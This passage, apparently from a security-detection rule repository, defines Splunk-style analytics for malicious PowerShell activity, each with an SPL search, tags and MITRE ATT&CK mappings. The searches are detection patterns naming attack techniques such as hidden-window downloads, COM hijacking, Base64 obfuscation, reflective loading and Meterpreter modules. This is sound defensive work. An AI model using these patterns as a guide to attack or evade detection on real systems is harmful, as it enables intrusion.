- "Hermetic Wiper", - "Malicious PowerShell", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Powershell was identified on endpoint $host$ by user $user$ executing suspicious commands.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "PowerShell - Connect To Internet With Hidden Window", - "description": "The following analytic detects PowerShell commands using the WindowStyle parameter to hide the window while connecting to the Internet. This behavior is identified through Endpoint Detection and Response (EDR) telemetry, focusing on command-line executions that include variations of the WindowStyle parameter. This activity is significant because it attempts to bypass default PowerShell execution policies and conceal its actions, which is often indicative of malicious intent. If confirmed malicious, this could allow an attacker to execute commands stealthily, potentially leading to unauthorized data exfiltration or further compromise of the endpoint.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` by Processes.user Processes.process_name Processes.process Processes.parent_process_name Processes.original_file_name Processes.dest Processes.process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where match(process,\"(?i)[\\-|\\/|\u2013 |\u2014|\u2015]w(in*d*o*w*s*t*y*l*e*)*\\s+[^-]\") | `powershell___connect_to_internet_with_hidden_window_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Data Destruction", - "HAFNIUM Group", - "Hermetic Wiper", - "Log4Shell CVE-2021-44228", - "Malicious PowerShell", - "Possible Backdoor Activity Associated With MUDCARP Espionage Campaigns" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "PowerShell processes $process$ started with parameters to modify the execution policy of the run, run in a hidden window, and connect to the Internet on host $dest$ executed by user $user$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Powershell COM Hijacking InprocServer32 Modification", - "description": "The following analytic detects attempts to modify or add a Component Object Model (COM) entry to the InProcServer32 path within the registry using PowerShell. It leverages PowerShell ScriptBlock Logging (EventCode 4104) to identify suspicious script blocks that target the InProcServer32 registry path. This activity is significant because modifying COM objects can be used for persistence or privilege escalation by attackers. If confirmed malicious, this could allow an attacker to execute arbitrary code or maintain persistent access to the compromised system, posing a severe security risk.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Software\\\\Classes\\\\CLSID\\\\*\\\\InProcServer32*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_com_hijacking_inprocserver32_modification_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell script has been identified with InProcServer32 within the script code on $Computer$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.015", - "mitre_attack_technique": "Component Object Model Hijacking", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "PowerShell Domain Enumeration", - "description": "The following analytic detects the execution of PowerShell commands used for domain enumeration, such as `get-netdomaintrust` and `get-adgroupmember`. It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze the full command sent to PowerShell. This activity is significant as it often indicates reconnaissance efforts by an attacker to map out the domain structure and identify key users and groups. If confirmed malicious, this behavior could lead to further targeted attacks, privilege escalation, and unauthorized access to sensitive information within the domain.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (*get-netdomaintrust*, *get-netforesttrust*, *get-addomain*, *get-adgroupmember*, *get-domainuser*) | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode ScriptBlockText UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_domain_enumeration_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains domain enumeration command in $ScriptBlockText$ with EventCode $EventCode$ in host $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "PowerShell Enable PowerShell Remoting", - "description": "The following analytic detects the use of the Enable-PSRemoting cmdlet, which allows PowerShell remoting on a local or remote computer. This detection leverages PowerShell Script Block Logging (EventCode 4104) to identify when this cmdlet is executed. Monitoring this activity is crucial as it can indicate an attacker enabling remote command execution capabilities on a compromised system. If confirmed malicious, this activity could allow an attacker to take control of the system remotely, execute commands, and potentially pivot to other systems within the network, leading to further compromise and lateral movement.", - "search": "`powershell` EventCode=4104 ScriptBlockText=\"*Enable-PSRemoting*\" | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `powershell_enable_powershell_remoting_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerShell was identified running a Invoke-PSremoting on $Computer$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Powershell Fileless Process Injection via GetProcAddress", - "description": "The following analytic detects the use of `GetProcAddress` in PowerShell script blocks, leveraging PowerShell Script Block Logging (EventCode=4104). This method captures the full command sent to PowerShell, which is then logged in Windows event logs. The presence of `GetProcAddress` is unusual for typical PowerShell scripts and often indicates malicious activity, as many attack toolkits use it to achieve code execution. If confirmed malicious, this activity could allow an attacker to execute arbitrary code, potentially leading to system compromise. Analysts should review parallel processes and the entire logged script block for further investigation.", - "search": "`powershell` EventCode=4104 ScriptBlockText=*getprocaddress* | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_fileless_process_injection_via_getprocaddress_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains GetProcAddress API on host $dest$", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Powershell Fileless Script Contains Base64 Encoded Content", - "description": "The following analytic detects the execution of PowerShell scripts containing Base64 encoded content, specifically identifying the use of `FromBase64String`. It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze the full command sent to PowerShell. This activity is significant as Base64 encoding is often used by attackers to obfuscate malicious payloads, making it harder to detect. If confirmed malicious, this could lead to code execution, allowing attackers to run arbitrary commands and potentially compromise the system.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*frombase64string*\" OR ScriptBlockText = \"*gnirtS46esaBmorF*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest |rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_fileless_script_contains_base64_encoded_content_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Data Destruction", - "Hermetic Wiper", - "IcedID", - "Malicious PowerShell", - "NjRAT", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains base64 command on host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Powershell Load Module in Meterpreter", - "description": "The following analytic detects the execution of suspicious PowerShell commands associated with Meterpreter modules, such as \"MSF.Powershell\" and \"MSF.Powershell.Meterpreter\". It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze the full command sent to PowerShell. This activity is significant as it indicates potential post-exploitation actions, including credential dumping and persistence mechanisms. If confirmed malicious, an attacker could gain extensive control over the compromised system, escalate privileges, and maintain long-term access, posing a severe threat to the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*MSF.Powershell*\",\"*MSF.Powershell.Meterpreter*\",\"*MSF.Powershell.Meterpreter.Kiwi*\",\"*MSF.Powershell.Meterpreter.Transport*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_load_module_in_meterpreter_filter`", - "tags": { - "analytic_story": [ - "MetaSploit" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_id", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerShell was identified running a script utilized by Meterpreter from MetaSploit on endpoint $Computer$ by user $user_id$.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "PowerShell Loading DotNET into Memory via Reflection", - "description": "The following analytic detects the use of PowerShell to load .NET assemblies into memory via reflection, a technique often used in malicious activities such as those by Empire and Cobalt Strike. It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze the full command executed. This behavior is significant as it can indicate advanced attack techniques aiming to execute code in memory, bypassing traditional defenses. If confirmed malicious, this activity could lead to unauthorized code execution, privilege escalation, and persistent access within the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*[system.reflection.assembly]::load(*\",\"*[reflection.assembly]*\", \"*reflection.assembly*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_loading_dotnet_into_memory_via_reflection_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "AsyncRAT", - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "UserID", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains reflective class assembly command in $ScriptBlockText$ to load .net code in memory with EventCode $EventCode$ in host $Computer$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Powershell Processing Stream Of Data", - "description": "The following analytic detects suspicious PowerShell script execution involving compressed stream data processing, identified via EventCode 4104. It leverages PowerShell Script Block Logging to flag scripts using `IO.Compression`, `IO.StreamReader`, or decompression methods. This activity is significant as it often indicates obfuscated PowerShell or embedded .NET/binary execution, which are common tactics for evading detection. If confirmed malicious, this behavior could allow attackers to execute hidden code, escalate privileges, or maintain persistence within the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*IO.Compression.*\" OR ScriptBlockText = \"*IO.StreamReader*\" OR ScriptBlockText = \"*]::Decompress*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_processing_stream_of_data_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Data Destruction", - "Hermetic Wiper", - "IcedID", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": 